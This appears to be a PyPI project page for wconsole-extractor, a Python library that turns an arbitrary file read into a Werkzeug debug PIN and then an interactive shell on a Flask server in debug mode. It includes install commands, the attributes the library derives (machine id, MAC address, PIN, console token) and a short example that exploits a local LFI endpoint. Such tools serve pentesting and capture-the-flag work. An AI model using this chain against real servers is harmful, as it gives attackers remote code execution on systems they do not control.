Skip to main content

Welcome to WConsole Extractor 👋

Version License: MIT Twitter: Ruulian_

Wconsole Extractor is a library which allows to automatically exploit a flask debug mode server. You just need to write a file leak function, pass it to the class WConsoleExtractor constructor and you can access to all the elements related to the debug mode. Moreover, you can call the shell function to obtain an interactive shell.

✨ Demo

example_gif

🔨 Install

From PyPi

Global installation:

pip3 install wconsole-extractor

Python virtual environment:

python3 -m venv env
source env/bin/activate
pip3 install wconsole-extractor

# Deactivate environment
deactivate

Installation from repository

Global installation:

git clone https://github.com/Ruulian/wconsole_extractor.git
cd wconsole_extractor
pip3 install .

Python virtual environment:

git clone https://github.com/Ruulian/wconsole_extractor.git
cd wconsole_extractor
python3 -m venv env
source env/bin/activate
pip3 install .

# Deactivate environment
deactivate

📚 Documentation

Note: The target operating system must be a Linux distribution.

Prerequisites

In order to use correctly the library, you need to have an arbitrary file read on the target and implement it in python.

You must write a function that takes a filename as parameter and returns the content of the file on the target. If the file is not found, the function should return an empty string.

Available attributes

From WconsoleExtractor instance, you can access mutiple attributes:

# Target information
extractor.target               # Specified target
extractor.base_url             # Target base url
extractor.hostname             # hostname

# Versions
extractor.python_version       # Python version
extractor.werkzeug_version     # Werkzeug version

# Probably public bits
extractor.username             # User who launched the application
extractor.flask_path           # Flask installation path
extractor.modname              # Constant "flask.app"
extractor.class_name           # Constant "Flask"
extractor.probably_public_bits # Probably public bits [username, modname, class_name, flask_path]

# Private bits
extractor.machine_id           # Machine id
extractor.uuidnode             # MAC address in decimal
extractor.private_bits         # private bits

# Post process information
extractor.pin_code             # Werkzeug PIN CODE
extractor.token                # Werkzeug console token (available in HTML source code)

# Functions
extractor.shell()              # Get interactive shell

Example

from wconsole_extractor import WConsoleExtractor, info
import requests

def leak_function(filename) -> str:
    r = requests.get(f"http://localhost:5000/lfi?path={filename}")
    if r.status_code == 200:
        return r.text
    else:
        return ""

extractor = WConsoleExtractor(
    target="http://localhost:5000",
    leak_function=leak_function
)


info(f"PIN CODE: {extractor.pin_code}")
extractor.shell()

Author

👤 Ruulian

🤝 Contributing

Contributions, issues and feature requests are welcome!
Feel free to check issues page.

Show your support

Give a ⭐️ if this project helped you!

📝 License

This project is MIT licensed.


This README was generated with ❤️ by readme-md-generator

Metadata

Release files for wconsole-extractor 1.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for wconsole-extractor 1.0.1
File Size Uploaded
wconsole_extractor-1.0.1.tar.gz 7.6 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for wconsole-extractor 1.0.1
File Interpreter ABI Platform
wconsole_extractor-1.0.1-py3-none-any.whl Python 3 none any Details

Total release size: 15.6 kB

Release files / wconsole_extractor-1.0.1.tar.gz

Download URL wconsole_extractor-1.0.1.tar.gz
Size 7.6 kB
Tags Source
SHA-256 checksum
How to use checksums
e16b9ed0277795dffe827db5ff400eca449bb1ffc8f731c9703c75d2cc946996
BLAKE2b-256 checksum
How to use checksums
69d0780b8de7b0033e57d4b119b48b50c346773dff6bd3ba9a3de6e49036074f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.0.0 CPython/3.12.3

Release files / wconsole_extractor-1.0.1-py3-none-any.whl

Download URL wconsole_extractor-1.0.1-py3-none-any.whl
Size 8.0 kB
Tags Python 3
SHA-256 checksum
How to use checksums
4bb61559099a7277bfa2315ac076768c1a5ff38a43b25fbbd621e517feac1434
BLAKE2b-256 checksum
How to use checksums
54d3066224f35116024c23fa4cc036cde14aa019fe66731fc67e5b1059955b52
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.0.0 CPython/3.12.3

Release history Release notifications | RSS feed

This release

1.0.1 This release

2 release files

1.0

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page